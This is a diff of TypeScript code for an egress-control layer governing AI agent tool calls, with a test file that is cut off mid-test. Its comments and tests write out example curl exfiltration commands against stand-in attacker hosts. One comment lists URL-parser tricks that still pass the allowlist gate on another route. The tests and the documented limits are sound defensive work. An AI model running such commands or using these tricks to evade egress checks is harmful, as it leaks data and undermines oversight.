+ * TWO EFFECTS IN THE PERMISSIVE DIRECTION, BOTH MEASURED AND BOTH RECORDED + * RATHER THAN DISCOVERED LATER. `new URL` lowercases the host, and the + * allowlist glob is case-sensitive, so `curl https://DOCS.ANTHROPIC.COM/x` + * denied under an earlier build of this module and allows now. That is correct + * -- DNS is case-insensitive and the request reaches the allowlisted host + * either way -- but it is a widening, and it is stated as one. + * `curl https://EVIL.TEST/x` still denies, and so does + * `curl https://docs.anthropic.com.evil.test/x`. + * + * ONE EFFECT IN THE RESTRICTIVE DIRECTION, ALSO MEASURED. + * `curl https://docs.anthropic%2ecom/x` denies now. A percent-escape is not a + * shape the unambiguous test admits, so it answers the sentinel -- yet `curl` + * resolves that URL to `docs.anthropic.com`, which the allowlist covers. It is + * a real over-block, and it is the direction this module chooses to fail in. + * + * THIS IS A CORRECTION TO THE STRING THIS MODULE CHOOSES TO SUPPLY, NOT TO THE + * GATE, AND THE TWO ROUTES ARE NOT SYMMETRIC. The same misreadings are still + * live on the path that does not come through here: a fetch tool's own `url` + * argument is the gate's FIRST declared destination path, read by `host_of()` + * directly with nothing in between. Measured against the shipped allowlist, + * four URLs are ALLOWED there and denied here: + * + * https://docs.anthropic.com:pw@exfil.attacker.test/steal reaches exfil.attacker.test + * https://metadata?x=@docs.anthropic.com reaches metadata + * https://internal-api#@docs.anthropic.com reaches internal-api + * https://evil?x=@docs.anthropic.com reaches evil + * + * Closing those would mean editing `policy/lib/egress.rego`, which is AGT's + * file, held byte-identical by `bun run verify:pin`. They are recorded as a + * measured limitation instead -- see the runbook section on what this does not + * catch. A reader who takes "two routes, one gate" to mean the two routes + * decide alike is reading something this deployment does not claim. + * + * WHY IT READS THE PRELIMINARY DOCUMENT ITSELF. A manifest's + * `annotations..from` is a liveness precondition, not a projection: the + * SDK requires the path to resolve (an unresolvable one denies the whole call + * on runtime_error:path_missing, before this function is called at all) and + * then hands the dispatcher the entire preliminary policy input rather than + * the value it resolved. Measured. So the command is read here, from the + * snapshot, by name. + */ + +/** + * The tool-argument names AGT's own gate already reads a destination out of -- + * `default_destination_paths` in `policy/lib/egress.rego`, minus the + * annotation path this module writes. + * + * When one of them is already a string on the snapshot, this module answers + * nothing. `destination(rules)` is a COMPLETE Rego rule over every configured + * path, so two paths resolving to different strings has no single answer: + * measured, that is `deny runtime_error:policy_invocation_failed` -- a total + * deny wearing a runtime-error reason, on a call nobody decided about. The + * tool's own argument is the better evidence anyway: it is what the tool will + * actually reach for, where a command line is what someone typed. + * + * The coupling is a copy, and it is only correct while the gate runs on its + * defaults: `cfg.egress.destination_paths` replaces `default_destination_paths` + * outright rather than extending it, so a deployment that sets that key + * desynchronises this list in whichever direction it moved -- a path it adds is + * one this module will not stand down for, and a path it drops is one this + * module stands down for needlessly. The shipped `policy/lib/data.json` sets no + * such key. A deployment that sets one has to revisit this list. + */ +const ARGUMENTS_AGT_ALREADY_READS = ["url", "endpoint", "host", "domain"] as const; + +/** + * The first absolute http(s) URL in a command line. + * + * Scheme-anchored on purpose. A bare-host pattern would match package names, + * file paths and flag values, and every false positive here becomes a denial + * of a step nobody meant to govern. The character class ends the match at + * whitespace and at the shell metacharacters that end a word, so a trailing + * `; ls` or `| tee` is not swallowed into the host. + * + * First match, not every match: the gate takes one destination. A command + * reaching two hosts has its first examined and the rest unexamined, which is + * this module's stated miss direction rather than a hidden one. + */ +const DESTINATION_IN_COMMAND = /\bhttps?:\/\/[^\s'"`;|&()<>]+/; + +/** + * The authority shapes on which no parser disagrees: a plain host, optionally a + * numeric port, terminated by "/", "?", "#" or the end of the token. + * + * Every character admitted before that terminator is one that WHATWG, + * `host_of()` and `curl` all read as part of the host. What is excluded is + * where they part company: "@" (userinfo, which two of the three do not bound), + * "\" (a delimiter to WHATWG, a host character to `curl`, and removed outright + * by an unquoted shell), "%" (an escape WHATWG decodes inside a host and + * `host_of()` does not), ":" followed by anything but digits (a userinfo + * password to WHATWG, a port separator to `host_of()`), and every character + * that is not a letter, digit, dot or hyphen. + * + * Anchored at the start, so it tests the whole match rather than searching + * inside it: a match that begins unambiguously and then turns ambiguous fails. + */ +const UNAMBIGUOUS_AUTHORITY = /^https?:\/\/[A-Za-z0-9.\-]+(?::\d+)?(?:[/?#]|$)/; + +/** + * What this module answers when it cannot tell which host a command reaches. + * + * RFC 2606 reserves `.invalid` for exactly this: a name guaranteed never to + * resolve, so it can never be a real destination and can never be legitimately + * allowlisted. It is a value the gate can decide about and must deny, which is + * the whole point -- an absent destination would make the gate undefined and + * the call would ALLOW. + */ +const AMBIGUOUS_DESTINATION = "https://unresolved.invalid"; + +function isPlainObject(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +/** + * Answers one of three things, and the difference between the second and the + * third is the whole design: + * + * - `{destination}` carrying an ORIGIN -- scheme, host and port -- when the + * command carries a URL whose authority no parser could read two ways; + * - `{destination}` carrying `AMBIGUOUS_DESTINATION` when it carries a URL + * this module cannot vouch for, so the gate denies rather than allows; + * - `{}` when it carries no URL for this module to have an opinion about, or + * when a destination the gate already reads is on the snapshot. + * + * Never a throw and never `null`, and both halves are load-bearing. AGT turns + * any annotator failure -- thrown or rejected -- into its own + * `runtime_error:annotation_failed` deny, which lands on EVERY call in the + * deployment, benign ones included, and reads like a policy decision. And a + * command with no destination is not a failure: the gate is `undefined` when + * nothing resolves, and the call falls through to the other gates. So a shell + * step that reaches the network in a form this regex does not match at all is + * UNEXAMINED here, not denied -- the failure direction the runbook states + * plainly, because the demo's shape invites the opposite reading. + * + * `name` and `config` are part of the dispatcher contract and are not read: + * this function is the one annotator this Guardian has, and routing by name is + * its caller's job. + */ +export function annotateEgressDestination(_name: string, _config: unknown, preliminary: unknown): unknown { + if (!isPlainObject(preliminary)) return {}; + const snapshot = preliminary.snapshot; + if (!isPlainObject(snapshot)) return {}; + const toolCall = snapshot.tool_call; + if (!isPlainObject(toolCall)) return {}; + + const args = isPlainObject(toolCall.args) ? toolCall.args : {}; + for (const argument of ARGUMENTS_AGT_ALREADY_READS) { + if (typeof args[argument] === "string") return {}; + } + + const rawCommand = toolCall.raw_command; + if (typeof rawCommand !== "string") return {}; + + const found = DESTINATION_IN_COMMAND.exec(rawCommand); + // No URL in the command is the one case where silence is right: nothing here + // is a destination, so there is nothing to be ambiguous about. + if (found === null) return {}; + + // Everything past this point is a URL, and from here `{}` would be an ALLOW. + // A shape the unambiguous test rejects gets the sentinel, not silence. + if (!UNAMBIGUOUS_AUTHORITY.test(found[0])) return { destination: AMBIGUOUS_DESTINATION }; + + // `new URL` throws on input it cannot parse, and this function may not: a + // throw here becomes AGT's own `runtime_error:annotation_failed` deny on + // every call in the deployment. The test above does not make the parse + // infallible -- `https://:1` passes no part of it, but `https://a:99999999999` + // has the shape and still throws on the port range -- so the catch answers + // the sentinel too. It is the same judgement: a URL this module cannot + // resolve to an origin is one it will not vouch for. + let parsed: URL; + try { + parsed = new URL(found[0]); + } catch { + return { destination: AMBIGUOUS_DESTINATION }; + } + return { destination: parsed.origin }; +} diff --git a/packages/guardian/src/assemble-snapshot.ts b/packages/guardian/src/assemble-snapshot.ts index 865f26c3..30499fd1 100644 --- a/packages/guardian/src/assemble-snapshot.ts +++ b/packages/guardian/src/assemble-snapshot.ts @@ -73,6 +73,17 @@ function zeroedBudgets(): AgtSnapshotBudgets { return { tool_call_count: 0, token_count: 0, elapsed_seconds: 0, cost_usd: 0 }; } +/** + * The one snapshot leaf every tool's policy target is copied to. + * + * `policy/manifest.yaml`'s pre_tool_call `policy_target` names this, and + * mapping.yaml's `policy_target_argument` names the per-tool argument it is + * copied FROM. The `acs_` stem marks it as this side's construct rather than + * something a host sent, which is what stops a reader taking it for an + * argument some tool declared. + */ +export const POLICY_TARGET_LEAF = "acs_policy_target"; + /** * Where AGT reads the source labels, and why the shorter path is wrong. * `policy/lib/agt_ifc.rego` resolves `input.snapshot.input.ifc.source_labels`; @@ -111,6 +122,20 @@ export type AgtPreToolCallSnapshot = { name: string; args: Record; id: string; + /** + * ACS's own `raw_command`, and ALWAYS present -- the empty string when the + * wire carried none. + * + * Not a convenience. A manifest-declared annotator's `annotations. + * .from` path must resolve or AGT denies the entire call with + * runtime_error:path_missing BEFORE dispatching the annotator -- measured, + * with zero annotator calls -- so a snapshot that omitted this member for + * tools with no shell command would turn every one of those calls into a + * total deny wearing a runtime-error reason. An empty string resolves, and + * the annotator answers no destination for it, which is the behaviour that + * was wanted. + */ + raw_command: string; }; input: { ifc: { source_labels: string[] } }; }; @@ -173,9 +198,17 @@ export type AgtPostToolCallSnapshot = { export function assemblePreToolCallSnapshot( envelope: ToolCallRequestEnvelope, sourceLabels: IfcLabels, + policyTargetArgument: string | undefined, ): AgtPreToolCallSnapshot { const { payload, request_id } = envelope.params; + if (policyTargetArgument === undefined) { + throw new Error( + `mapping.yaml declares no policy_target_argument for the request gate, so there is no argument to ` + + `copy to the "${POLICY_TARGET_LEAF}" leaf policy/manifest.yaml targets`, + ); + } + // Unwrap every argument. AGT reads raw values -- args.command has to be a // plain string for the stock pattern check's is_string guard, for instance -- // so the ACS {value, provenance} wrapper does not survive into the snapshot. @@ -184,6 +217,32 @@ export function assemblePreToolCallSnapshot( args[key] = wrapper.value; } + // Loudly, never silently. A tool genuinely sending an argument by this name + // would have its own value replaced by the policy target and never + // evaluated -- so the collision is reported here, where a manifest or + // hookmap author can still act on it. + if (Object.hasOwn(args, POLICY_TARGET_LEAF)) { + throw new Error( + `tool ${JSON.stringify(payload.tool.name)} sent an argument named ${JSON.stringify(POLICY_TARGET_LEAF)}, ` + + `which is the leaf this Guardian writes its policy target to -- one of the two would have to be ` + + `overwritten, and neither may be`, + ); + } + + // A tool whose declared policy-target argument is not among its arguments is + // a registration fault, not a policy decision. Throwing names the tool and + // the argument; leaving the leaf undefined would reach AGT as + // runtime_error:path_missing, which reads like a policy decision and says + // nothing about which declaration is wrong. + if (!Object.hasOwn(args, policyTargetArgument)) { + throw new Error( + `mapping.yaml reads tool ${JSON.stringify(payload.tool.name)}'s policy target from argument ` + + `${JSON.stringify(policyTargetArgument)}, but this call sent no such argument ` + + `(it sent: ${Object.keys(args).join(", ") || "none"})`, + ); + } + args[POLICY_TARGET_LEAF] = args[policyTargetArgument]; + return { // budgets.rego fails closed on a present-but-wrong-typed counter, so // these are always real zeros, never undefined/null. @@ -192,6 +251,7 @@ export function assemblePreToolCallSnapshot( name: payload.tool.name, args, id: request_id, + raw_command: payload.raw_command ?? "", }, input: ifcMember(sourceLabels), }; diff --git a/packages/guardian/src/deployment-bridge.ts b/packages/guardian/src/deployment-bridge.ts new file mode 100644 index 00000000..c30413e9 --- /dev/null +++ b/packages/guardian/src/deployment-bridge.ts @@ -0,0 +1,66 @@ +/** + * How THIS deployment builds a policy bridge -- the manifest it evaluates and + * the annotator that manifest declares, in one place. + * + * It exists because the recipe is not `createBridge(manifestPath)`. A bridge + * for `policy/manifest.yaml` must carry an annotator, and a caller who forgets + * does not get a bridge with a missing feature: it gets one that denies EVERY + * call in the deployment -- benign ones included -- with + * `runtime_error:annotation_failed`, a total deny wearing a reason that reads + * like a policy decision. Measured. Six callers outside this package build + * bridges against that manifest, and the two in the conformance harness are + * the sharpest case: a harness that builds the recipe itself is measuring a + * replica, and the day this deployment declares a second annotator or takes + * another `createBridge` option, the replica silently stops being the thing it + * claims to measure. + * + * So the recipe is a function, not a convention. `startGuardian` calls it and + * so does everything else; `packages/guardian/package.json` publishes it at + * the `guardian/deployment` subpath. Deliberately NOT in this package's barrel + * -- that surface is the governance verbs, and this is deployment wiring; see + * `./index.ts`'s own header, which states the same answer for the envelope-log + * sink. + * + * Separate from `./server.ts` for a second reason: a caller that only needs a + * bridge should not have to load the HTTP server, its schema registry and its + * envelope log to get one. + */ +import { createBridge, type Annotator, type EvidenceBridge, type PolicyBridge } from "agt-bridge"; +import { annotateEgressDestination } from "./annotate-egress.ts"; + +/** + * The annotators this Guardian can answer for, routed by the name the manifest + * declared. + * + * A name this has nothing for THROWS, and that is deliberate even though AGT + * turns it into a deny on every call in the deployment. It is wrong on every + * call: a manifest declaring an annotator whose value never arrives is + * evaluating policy against an annotation that is permanently absent. Failing + * loudly and immediately is better than running silently unannotated, and the + * failure is found on the first request rather than in an incident review. + */ +export const dispatchGuardianAnnotator: Annotator = (name, config, preliminary) => { + if (name === "egress") { + return annotateEgressDestination(name, config, preliminary); + } + throw new Error( + `this Guardian has no annotator named ${JSON.stringify(name)} -- the manifest declares one it cannot ` + + `supply a value for`, + ); +}; + +/** + * A bridge built the way this deployment builds one. + * + * `annotator` chooses WHICH annotator, never WHETHER: omitted means the + * built-in `dispatchGuardianAnnotator`, and there is no way to ask for none. + * That is the whole point -- see this module's header for what a bridge with + * no dispatcher does to a manifest that declares one. + * + * Answers both of `createBridge`'s roles, unchanged. The Guardian takes the + * `PolicyBridge` half and the conformance harness takes the `EvidenceBridge` + * half; narrowing here would make this function unusable for one of them. + */ +export function createDeploymentBridge(manifestPath: string, annotator?: Annotator): PolicyBridge & EvidenceBridge { + return createBridge(manifestPath, { annotator: annotator ?? dispatchGuardianAnnotator }); +} diff --git a/packages/guardian/src/index.ts b/packages/guardian/src/index.ts index 157c283d..f1bc099e 100644 --- a/packages/guardian/src/index.ts +++ b/packages/guardian/src/index.ts @@ -47,6 +47,7 @@ export { checkResponse, type ResponseCheck } from "./check-response.ts"; export { assemblePreToolCallSnapshot, assemblePostToolCallSnapshot, + POLICY_TARGET_LEAF, type AgtPreToolCallSnapshot, type AgtPostToolCallSnapshot, } from "./assemble-snapshot.ts"; @@ -54,6 +55,7 @@ export { loadMapping, mapVerdict, resolveInterventionPoint, + resolvePolicyTargetArgument, type Mapping, type AcsDecision, } from "./map-verdict.ts"; diff --git a/packages/guardian/src/map-verdict.ts b/packages/guardian/src/map-verdict.ts index 45916bc0..acdd4004 100644 --- a/packages/guardian/src/map-verdict.ts +++ b/packages/guardian/src/map-verdict.ts @@ -71,9 +71,12 @@ type WrapMode = "array"; * nothing, so `into` is still read from the mapping (not hardcoded) and * checked at synthesis time against the values this mapping can express. * - * `into` is the discriminant, and the field beside it -- `into_argument` or - * `into_path` -- names the same kind of slot on both rows: which thing of - * that shape the rewrite lands in. + * `into` is the discriminant. The result gate's own field beside it, + * `into_path`, names which leaf of the result payload the rewrite lands in; + * the request gate's equivalent question -- which argument -- is answered by + * `policy_target_argument` on the same row rather than a field here, because + * that is the same argument `resolvePolicyTargetArgument` reads the policy + * target FROM, and one fact declared twice is two things that can disagree. * * This type expresses exactly two rewrite shapes, each added only together * with a checked value for its `into`, never by casting an arbitrary `into` @@ -84,10 +87,12 @@ type ModificationsRule = | { from: string; when_path: string; - /** The request gate rewrites a tool ARGUMENT, named by the mapping. */ + /** The request gate rewrites a tool ARGUMENT. WHICH argument is not + * declared here: it is `policy_target_argument` on the same row, because + * the argument an override lands on is the argument the policy target was + * read from, and one fact declared twice is two things that can + * disagree. */ into: "parameter_overrides"; - /** Which argument. */ - into_argument: string; } | { from: string; @@ -95,17 +100,17 @@ type ModificationsRule = /** The result gate rewrites the result payload's own leaf, addressed by * an ACS JSON pointer the mapping supplies. */ into: "redactions"; - /** Which leaf. */ into_path: string; }; -/** One row of mapping.yaml's intervention_points table. `modifications` is - * optional because most points have no synthesis rule: mapping.yaml declares - * six methods with points and gives two of them one. Optional here, and a - * throw at synthesis time -- not a silently empty MODIFY. */ +/** Which argument a tool's policy target lives in, for one intervention + * point. `default` covers every tool `by_tool` does not name. */ +type PolicyTargetArgument = { default: string; by_tool?: Record }; + type InterventionPoint = { acs_method: string | null; note?: string; + policy_target_argument?: PolicyTargetArgument; modifications?: ModificationsRule; }; @@ -172,6 +177,53 @@ export function resolveInterventionPoint(acsMethod: string, mapping: Mapping): s return point; } +/** + * Which argument this tool's policy target is read from, at this point. + * + * Told the tool NAME, never an envelope. Its callers already hold the name -- + * the Guardian reads `payload.tool.name` for the session chain entry two + * statements earlier -- and a resolver that took an envelope would couple this + * module to the wire shape it currently knows nothing about. + * + * Answers `undefined` for a point that declares no table, which is the honest + * answer for the result gate: that gate rewrites a leaf of the result payload + * addressed by JSON pointer, and no tool argument is involved. A point the + * table has no row for at all is a different thing and throws, for the same + * reason `resolveInterventionPoint` throws rather than defaulting -- a mapping + * that cannot answer must say so rather than guess. + */ +export function resolvePolicyTargetArgument( + mapping: Mapping, + point: string, + toolName: string, +): string | undefined { + const row = mapping.intervention_points?.[point]; + if (row === undefined) { + throw new Error( + `mapping.yaml's intervention_points table has no row for AGT intervention point "${point}", so the ` + + `argument its policy target is read from cannot be resolved`, + ); + } + + const table = row.policy_target_argument; + if (table === undefined) { + return undefined; + } + + const named = table.by_tool?.[toolName]; + if (typeof named === "string") { + return named; + } + + if (typeof table.default !== "string") { + throw new Error( + `mapping.yaml's intervention_points.${point}.policy_target_argument names no argument for tool ` + + `${JSON.stringify(toolName)} and declares no usable "default"`, + ); + } + return table.default; +} + /** Resolves a field_synthesis `source: "verdict."` path against a verdict. */ function readVerdictField(verdict: AgtVerdict, source: { source: string }): unknown { const field = source.source.slice("verdict.".length) as keyof AgtVerdict; @@ -237,7 +289,12 @@ function applyWrap(value: string, wrap: WrapMode, leaf: string): string[] { * the value travels by, and `PolicyBridge.evaluate` answers with the verdict * alone. */ -function synthesizeModifications(verdict: AgtVerdict, mapping: Mapping, point: string): AcsModifications { +function synthesizeModifications( + verdict: AgtVerdict, + mapping: Mapping, + point: string, + policyTargetArgument: string | undefined, +): AcsModifications { const rule = mapping.intervention_points[point]?.modifications; if (!rule) { throw new Error( @@ -267,7 +324,18 @@ function synthesizeModifications(verdict: AgtVerdict, mapping: Mapping, point: s // mapping actually declared without casting a checked value back out. const declaredInto: string = rule.into; if (rule.into === "parameter_overrides") { - return { [rule.into]: { [rule.into_argument]: transform.value } }; + // A rewrite with no argument to land on is the one thing this function + // exists not to produce: a modification reported applied while the + // original ships. The Guardian's evaluation catch turns this throw into an + // honoured deny. + if (policyTargetArgument === undefined) { + throw new Error( + `mapping.yaml maps this verdict into an ACS parameter override, but its intervention_points row ` + + `for "${point}" declares no policy_target_argument, so there is no argument for the rewrite to ` + + `land on`, + ); + } + return { [rule.into]: { [policyTargetArgument]: transform.value } }; } if (rule.into === "redactions") { // ACS's redaction `replacement` is a string (modifications.json), and @@ -366,7 +434,12 @@ function composeReasoning( .replaceAll("{detail}", () => detail); } -export function mapVerdict(verdict: AgtVerdict, mapping: Mapping, point: string): AcsDecision { +export function mapVerdict( + verdict: AgtVerdict, + mapping: Mapping, + point: string, + policyTargetArgument: string | undefined, +): AcsDecision { const rule = mapping.verdicts[verdict.decision]; if (!rule) { throw new Error(`mapping.yaml has no verdict rule for AGT decision "${verdict.decision}"`); @@ -413,7 +486,7 @@ export function mapVerdict(verdict: AgtVerdict, mapping: Mapping, point: string) } if (rule.decision === "modify") { - out.modifications = synthesizeModifications(verdict, mapping, point); + out.modifications = synthesizeModifications(verdict, mapping, point, policyTargetArgument); } return out; diff --git a/packages/guardian/src/server.ts b/packages/guardian/src/server.ts index 2aecbfb6..cbf5b3a1 100644 --- a/packages/guardian/src/server.ts +++ b/packages/guardian/src/server.ts @@ -6,13 +6,17 @@ * * Composes the full pipeline, in order, for each ACS method it assembles a * snapshot for -- `steps/toolCallRequest` and `steps/toolCallResult`: - * validateEnvelope -> assemblePreToolCallSnapshot / assemblePostToolCallSnapshot -> - * bridge.evaluate(resolveInterventionPoint(method, mapping), snapshot) -> - * mapVerdict(verdict, mapping, point) -> response envelope. + * validateEnvelope -> resolveInterventionPoint(method, mapping) -> + * resolvePolicyTargetArgument(mapping, point, tool.name) -> + * assemblePreToolCallSnapshot / assemblePostToolCallSnapshot -> + * bridge.evaluate(point, snapshot) -> + * mapVerdict(verdict, mapping, point, policyTargetArgument) -> response envelope. * The resolved point reaches mapVerdict because the ACS modification an AGT * transform becomes differs per gate: a tool argument override at the - * request gate, a redaction on the result payload at the result gate. One - * resolution, used by both consumers of it. + * request gate, a redaction on the result payload at the result gate. The + * resolved argument reaches both the assembler and mapVerdict for the same + * reason: it is the argument a policy target is read FROM and the argument an + * override is written TO, and asking twice would let the two answers differ. * * Every throw on this path is caught, in two places, because nothing may * escape the fetch handler. Bun.serve would answer an unhandled rejection with @@ -62,7 +66,8 @@ import { appendFileSync, mkdirSync } from "node:fs"; import { dirname } from "node:path"; import { fileURLToPath } from "node:url"; -import { createBridge, type Annotator, type PolicyBridge } from "agt-bridge"; +import type { Annotator, PolicyBridge } from "agt-bridge"; +import { createDeploymentBridge } from "./deployment-bridge.ts"; import { assemblePostToolCallSnapshot, assemblePreToolCallSnapshot, @@ -71,7 +76,13 @@ import { } from "./assemble-snapshot.ts"; import { finalResult, type AcsFinalResult } from "./acs-result.ts"; import { denyOnInvalidEnvelope, type DenyOnInvalidEnvelopeResult } from "./deny-on-invalid-envelope.ts"; -import { loadMapping, mapVerdict, resolveInterventionPoint, type Mapping } from "./map-verdict.ts"; +import { + loadMapping, + mapVerdict, + resolveInterventionPoint, + resolvePolicyTargetArgument, + type Mapping, +} from "./map-verdict.ts"; import { EnvelopeValidationError, isToolCallRequest, @@ -268,12 +279,25 @@ export type StartGuardianOptions = { * argument and reads the actual environment, exactly as * `packages/guardian/src/main.ts` needs it to. */ onDecisionFailure?: "proceed" | "deny"; - /** A host-supplied annotator, threaded straight to `createBridge` (which - * wraps it before handing it to AGT). Optional and off by default: the - * main manifest (`policy/manifest.yaml`) declares no annotator, so a - * Guardian that omits this option runs with none -- see - * `policy/manifest.drift.yaml` and its own header for the one manifest - * that does declare one. */ + /** Overrides the annotator this Guardian dispatches, replacing the built-in + * one entirely. + * + * Omitting this no longer means "no annotator" -- it means the built-in + * `dispatchGuardianAnnotator` (`./deployment-bridge.ts`). + * `policy/manifest.yaml` declares an `egress` annotator, and a declared + * annotator the bridge dispatches nothing for denies EVERY call with + * runtime_error:annotation_failed, measured, benign calls included. So the + * dispatcher is never absent, and this option chooses which one rather than + * whether. + * + * The caller that supplies its own is the drift demo: it runs against + * `policy/manifest.drift.yaml`, whose declared annotator is `drift_score` + * rather than `egress`, and stands a fixed-score stub in for the + * behaviour-drift detector AGT's design puts outside the policy engine. Its + * code block lives in `docs/demos/v3-runbook.md` rather than in this tree -- + * a JS callback cannot cross an environment variable, so the `bun run + * guardian` CLI cannot take one. `packages/guardian/test/server.test.ts` + * exercises that manifest through this option. */ annotator?: Annotator; /** Overrides the bridge this Guardian evaluates snapshots against, * bypassing `createBridge(manifestPath, ...)` entirely -- and, with it, @@ -373,8 +397,12 @@ export async function startGuardian({ sessionContextLog, sessionContextStore: sessionContextStoreOverride, }: StartGuardianOptions): Promise { - // Construct the bridge once at boot, not per request. - const bridge = bridgeOverride ?? createBridge(manifestPath, annotator ? { annotator } : undefined); + // Construct the bridge once at boot, not per request -- and through the + // shared recipe rather than assembling one here, so this Guardian and every + // other caller that evaluates this deployment's manifest get the identical + // bridge. `createDeploymentBridge` is where "the annotator is never absent" + // actually lives; see its own module. + const bridge = bridgeOverride ?? createDeploymentBridge(manifestPath, annotator); const mapping = loadMapping(mappingPath ?? MAPPING_PATH); const envelopeLog = envelopeLogPath ? createEnvelopeLogSink({ path: envelopeLogPath }) : NULL_ENVELOPE_LOG_SINK; // The session-context store is always the in-memory one, or the caller's @@ -731,11 +759,13 @@ type SteppedEnvelope = AcsRequestEnvelope & { params: { payload: { tool: { name: * request gate, and a second copy of it is a second thing to keep true. * * Generic in the envelope, and the assembler is a function OF that envelope -- - * `E` and `(envelope: E, sourceLabels: IfcLabels) => GuardianSnapshot` rather - * than an `AcsRequestEnvelope` and an independent thunk. `E` infers from the - * narrowed variable each gate passes, both assemblers are assignable as they - * stand, and the one miswiring this function could otherwise permit becomes - * unrepresentable: `evaluateStep(raw, envelopeA, (_e, s) => assemblePreToolCallSnapshot(envelopeB, s), ...)` + * `E` and `(envelope: E, sourceLabels: IfcLabels, policyTargetArgument: string + * | undefined) => GuardianSnapshot` rather than an `AcsRequestEnvelope` and an + * independent thunk. `E` infers from the narrowed variable each gate passes, + * both assemblers are assignable as they stand (`assemblePostToolCallSnapshot` + * takes two parameters and a two-parameter function is assignable to a + * three-parameter function type), and the one miswiring this function could + * otherwise permit becomes unrepresentable: `evaluateStep(raw, envelopeA, (_e, s, p) => assemblePreToolCallSnapshot(envelopeB, s, p), ...)` * would have resolved the point from A's method and echoed A's ids while * evaluating B's snapshot -- the wrong policy against the wrong shape, which * this file's own comments call worse than a reported failure. In the inline @@ -772,7 +802,7 @@ type SteppedEnvelope = AcsRequestEnvelope & { params: { payload: { tool: { name: async function evaluateStep( raw: unknown, envelope: E, - assemble: (envelope: E, sourceLabels: IfcLabels) => GuardianSnapshot, + assemble: (envelope: E, sourceLabels: IfcLabels, policyTargetArgument: string | undefined) => GuardianSnapshot, bridge: PolicyBridge, mapping: Mapping, sessionContextStore: SessionContextStore, @@ -788,13 +818,21 @@ async function evaluateStep( tool_name: envelope.params.payload.tool.name, }); + // Resolved BEFORE the snapshot is assembled, where it used to be resolved + // after: the assembler needs to know which of this tool's arguments the + // policy target is read from, and mapVerdict needs the same answer to key + // any override it has to write back. One resolution, two readers -- asking + // twice would let them differ. + const point = resolveInterventionPoint(envelope.method, mapping); + const policyTargetArgument = resolvePolicyTargetArgument(mapping, point, envelope.params.payload.tool.name); + const snapshot = assemble( envelope, supplySourceLabels(sessionContextStore, envelope.params.metadata.session_id), + policyTargetArgument, ); - const point = resolveInterventionPoint(envelope.method, mapping); const verdict = await bridge.evaluate(point, snapshot); - const decision = mapVerdict(verdict, mapping, point); + const decision = mapVerdict(verdict, mapping, point, policyTargetArgument); // `verdict.result_labels` is `undefined` when the IFC gate did not run // at all and `[]` when it ran and propagated nothing; `persistIfcLabels` diff --git a/packages/guardian/test/annotate-egress.test.ts b/packages/guardian/test/annotate-egress.test.ts new file mode 100644 index 00000000..5d94d075 --- /dev/null +++ b/packages/guardian/test/annotate-egress.test.ts @@ -0,0 +1,409 @@ +import { describe, expect, it } from "bun:test"; +import { annotateEgressDestination } from "../src/annotate-egress.ts"; + +/** AGT's preliminary policy input, cut down to the two members this function + * reads. The real document also carries `intervention_point`, `policy_target`, + * `annotations` and `tool`; none of them is consulted here. */ +function preliminary(toolCall: Record): unknown { + return { intervention_point: "pre_tool_call", snapshot: { tool_call: toolCall }, annotations: {} }; +} + +/** What the module answers for a URL whose authority it will not vouch for. + * `.invalid` is reserved by RFC 2606 and can never resolve, so the gate must + * deny it and no allowlist can legitimately cover it. */ +const AMBIGUOUS = "https://unresolved.invalid"; + +/** The command shapes that must answer a destination the shipped allowlist + * covers. They are the reason "answer the sentinel for everything" cannot pass + * this file: measured against `["*.anthropic.com", "docs.example.com"]`, each + * of these allows today, and any of them answering the sentinel would be a + * benign step turned into a denial. */ +const MUST_STAY_ALLOWED = [ + "curl https://docs.anthropic.com/x", + "curl https://DOCS.ANTHROPIC.COM/x", + "curl https://docs.anthropic.com:443/x", + "curl https://docs.example.com/y", +]; + +describe("pulling an egress destination out of a shell command", () => { + // Where this block expects a host, it expects an ORIGIN -- scheme, host and + // port -- rather than the text the regex matched. The gate consults only the + // host, so the path, query and fragment were never read by any rule this + // deployment runs. + // + // Where it expects the sentinel, the point is the opposite one: the module + // decides only the authority shapes on which no parser disagrees, and hands + // over a destination that cannot resolve for everything else. Answering `{}` + // there would be an ALLOW, because the gate is undefined when no destination + // resolves. + it("finds the destination a curl reaches for", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: { command: "curl https://exfil.test/steal" }, raw_command: "curl https://exfil.test/steal" }), + ), + ).toEqual({ destination: "https://exfil.test" }); + }); + + it("finds it mid-command, not only at the end", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: "curl -sS https://exfil.test/steal -o /tmp/x" }), + ), + ).toEqual({ destination: "https://exfil.test" }); + }); + + // The fixture is an ALLOWLISTED host on purpose, and the earlier one was not + // discriminating. Measured: with the shipped regex the match is + // `https://docs.anthropic.com` and the answer is that origin, which the + // allowlist covers; with a regex that admitted ";" the match would be + // `https://docs.anthropic.com;`, whose ";" the unambiguous-authority test + // rejects, so the answer would be the sentinel and this benign step would + // deny. With an off-allowlist host the two are indistinguishable at the gate + // -- both deny -- which is why this fixture had to change. + it("stops at the shell metacharacter, not at the end of the line", () => { + expect( + annotateEgressDestination("egress", {}, preliminary({ name: "Bash", args: {}, raw_command: "curl https://docs.anthropic.com; ls" })), + ).toEqual({ destination: "https://docs.anthropic.com" }); + }); + + // A "@" IN THE AUTHORITY IS NOT NORMALISED AWAY, IT IS REFUSED. Earlier + // builds of this module stripped the userinfo and answered the host after it. + // That is the right answer for what a WHATWG parser would reach and the wrong + // answer for what an unquoted shell plus curl would, and the two differ -- + // see the backslash cases below. So a "@" before the path makes the authority + // one this module will not vouch for. + // + // The colon-bearing form was ALLOWED against the shipped allowlist when the + // URL was handed over as matched -- measured through a live Guardian -- + // because the gate splits the authority at the first ":" and answers + // `docs.anthropic.com`. + it("refuses an authority carrying a userinfo rather than guessing which side is the host", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: "curl https://docs.anthropic.com@exfil.attacker.test/steal" }), + ), + ).toEqual({ destination: AMBIGUOUS }); + }); + + it("refuses an authority whose userinfo carries a colon", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, raw_command: "curl https://docs.anthropic.com:pw@exfil.attacker.test/steal" }), + ), + ).toEqual({ destination: AMBIGUOUS }); + }); + + it("refuses an authority carrying more than one @", () => { + expect( + annotateEgressDestination( + "egress", + {}, + preliminary({ name: "Bash", args: {}, 